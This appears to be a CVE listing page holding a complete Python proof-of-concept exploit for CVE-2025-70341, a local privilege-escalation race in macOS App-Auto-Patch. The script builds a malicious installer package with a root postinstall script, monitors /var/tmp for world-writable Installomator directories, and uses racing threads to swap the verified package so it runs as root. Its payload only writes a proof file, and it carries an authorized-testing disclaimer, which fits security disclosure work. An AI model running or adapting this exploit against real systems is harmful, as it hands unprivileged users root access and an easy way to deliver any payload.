5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2025-70341: Local Privilege Escalation via TOCTOU in App-Auto-Patch

App-Auto-Patch <= 3.4.2 creates Installomator's tmpDir with chmod 777,
allowing a local user to swap a verified PKG with a malicious one before
installation. The malicious PKG's postinstall script runs as root.

Prerequisites:
    - macOS with App-Auto-Patch <= 3.4.2 or Installomator using chmod 777 tmpDir
    - Unprivileged local user account
    - Xcode command line tools (for pkgbuild)

Usage:
    Terminal 1 (unprivileged): python3 poc.py
    Terminal 2 (root/MDM):     sudo ./simulate-vulnerable-env.sh

Attack:
    1. Run this script as unprivileged user
    2. Wait for admin/MDM to trigger App-Auto-Patch / Installomator
    3. Script monitors /var/tmp for chmod 777 Installomator directories
    4. Races to swap verified PKG with malicious one
    5. installer -pkg runs attacker's PKG as root

Disclaimer:
    For educational and authorized security testing only.
    Only use on systems you own or have explicit permission to test.
"""

import os
import sys
import time
import shutil
import tempfile
import subprocess
import threading
from pathlib import Path

WATCH_DIR = "/var/tmp"
PROOF_FILE = "/tmp/installomator-pwned"
MALICIOUS_PKG = "/tmp/malicious-payload.pkg"

# Shared state
racing = False
swapped = False  # Stop swapping once we've placed our file
target_pkg = None
target_dir = None
stop_flag = threading.Event()


def create_malicious_pkg():
    """Create a minimal PKG that proves code execution"""
    print("[*] Creating malicious PKG payload...")

    pkg_root = tempfile.mkdtemp(prefix="pkgbuild_")
    scripts_dir = os.path.join(pkg_root, "scripts")
    os.makedirs(scripts_dir)

    postinstall = os.path.join(scripts_dir, "postinstall")
    with open(postinstall, "w") as f:
        f.write(f"""#!/bin/bash
# CVE-2025-70341: Proof of root code execution via TOCTOU race
echo "PWNED by $(whoami) at $(date)" > {PROOF_FILE}
echo "UID: $(id -u)" >> {PROOF_FILE}
echo "CVE-2025-70341 POC successful" >> {PROOF_FILE}
exit 0
""")
    os.chmod(postinstall, 0o755)

    try:
        result = subprocess.run([
            "pkgbuild",
            "--nopayload",
            "--scripts", scripts_dir,
            "--identifier", "com.poc.cve-2025-70341",
            "--version", "1.0",
            MALICIOUS_PKG
        ], capture_output=True, text=True)

        if result.returncode != 0:
            print(f"[-] pkgbuild failed: {result.stderr}")
            return False

        print(f"[+] Created malicious PKG: {MALICIOUS_PKG}")
        return True

    except FileNotFoundError:
        print("[-] pkgbuild not found - need Xcode command line tools")
        return False
    finally:
        shutil.rmtree(pkg_root, ignore_errors=True)


def stager_thread():
    """Continuously keep a staged copy of malicious PKG ready"""
    global target_dir
    while not stop_flag.is_set():
        if target_dir and os.path.isdir(target_dir):
            staged = os.path.join(target_dir, ".m.pkg")
            try:
                if not os.path.exists(staged):
                    shutil.copy2(MALICIOUS_PKG, staged)
            except:
                pass
        time.sleep(0.001)


def swapper_thread():
    """Continuously delete and replace the target PKG"""
    global target_pkg, target_dir, swapped
    while not stop_flag.is_set():
        if swapped:
            # Already placed our file, stop swapping
            time.sleep(0.1)
            continue

        if target_pkg and target_dir:
            staged = os.path.join(target_dir, ".m.pkg")

            # Only delete if the target exists (don't delete our own file repeatedly)
            if os.path.exists(target_pkg) and os.path.exists(staged):
                try:
                    os.remove(target_pkg)
                    os.rename(staged, target_pkg)
                    swapped = True
                    print("[+] SWAPPED! Malicious PKG in place, waiting for installer...")
                except:
                    pass
        else:
            time.sleep(0.001)


def monitor():
    """Monitor for Installomator directories and PKG files"""
    global racing, target_pkg, target_dir

    print("[*] Monitoring /var/tmp for Installomator directories...")
    print("[*] Waiting for admin/MDM to run App-Auto-Patch / Installomator...")
    print()

    seen_dirs = set()

    while not stop_flag.is_set():
        # Check for success
        if os.path.exists(PROOF_FILE):
            print()
            print("=" * 60)
            print("[+] SUCCESS! Root code execution achieved!")
            print("=" * 60)
            with open(PROOF_FILE) as f:
                print(f.read())
            return True

        # Find Installomator directories
        try:
            for entry in os.scandir(WATCH_DIR):
                if entry.is_dir() and entry.name.startswith("Installomator."):
                    if entry.path not in seen_dirs:
                        print(f"[!] Found Installomator dir: {entry.path}")
                        seen_dirs.add(entry.path)

                        stat = os.stat(entry.path)
                        mode = oct(stat.st_mode)[-3:]
                        print(f"    Permissions: {mode}")
                        if mode == "777":
                            print(f"    [+] Directory is world-writable!")
                            target_dir = entry.path

                    # Look for PKG files
                    if target_dir == entry.path:
                        try:
                            for pkg in os.scandir(entry.path):
                                if pkg.is_file() and pkg.name.endswith(".pkg") and not pkg.name.startswith("."):
                                    if target_pkg != pkg.path:
                                        print(f"[!] Found PKG: {pkg.path}")
                                        print(f"[*] Racing...")
                                        target_pkg = pkg.path
                                        racing = True
                        except:
                            pass
        except:
            pass

        if not racing:
            time.sleep(0.01)


def check_prerequisites():
    """Check if we can run the POC"""
    if os.geteuid() == 0:
        print("[*] Already root - nothing to escalate")
        return False

    if not os.access(WATCH_DIR, os.R_OK):
        print(f"[-] Cannot read {WATCH_DIR}")
        return False

    print(f"[+] Running as UID {os.getuid()}")
    print(f"[+] Can monitor {WATCH_DIR}")
    return True


def main():
    print("=" * 60)
    print("CVE-2025-70341: App-Auto-Patch TOCTOU Privilege Escalation")
    print("=" * 60)
    print()

    if not check_prerequisites():
        return 1

    if not os.path.exists(MALICIOUS_PKG):
        if not create_malicious_pkg():
            print("[-] Failed to create malicious PKG")
            return 1
    else:
        print(f"[+] Using existing malicious PKG: {MALICIOUS_PKG}")

    print()

    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    # Start worker threads
    threads = [
        threading.Thread(target=stager_thread, daemon=True),
        threading.Thread(target=swapper_thread, daemon=True),
        threading.Thread(target=swapper_thread, daemon=True),  # Multiple swappers
        threading.Thread(target=swapper_thread, daemon=True),
    ]
    for t in threads:
        t.start()

    try:
        monitor()
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        stop_flag.set()
        return 0

    stop_flag.set()
    return 0


if __name__ == "__main__":
    sys.exit(main())